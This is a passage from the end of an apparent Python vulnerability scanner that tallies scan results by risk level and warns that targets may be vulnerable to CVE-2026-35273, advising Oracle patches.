safe_print(f"High Risk (Potentially Vulnerable): {sum(1 for r in all_results if r['risk_level'] == 'HIGH')}")
safe_print(f"Medium Risk: {sum(1 for r in all_results if r['risk_level'] == 'MEDIUM')}")
safe_print(f"Low Risk: {sum(1 for r in all_results if r['risk_level'] == 'LOW')}")
vulnerable_count = sum(1 for r in all_results if r['risk_level'] in ['CRITICAL', 'HIGH'])
if vulnerable_count > 0:
safe_print(f"\n{Colors.RED}[!] {vulnerable_count} targets are potentially vulnerable to CVE-2026-35273!{Colors.RESET}")
safe_print(f"{Colors.RED}[!] Apply Oracle patches immediately!{Colors.RESET}")
else:
parser.print_help()
sys.exit(1)
if __name__ == "__main__":
main()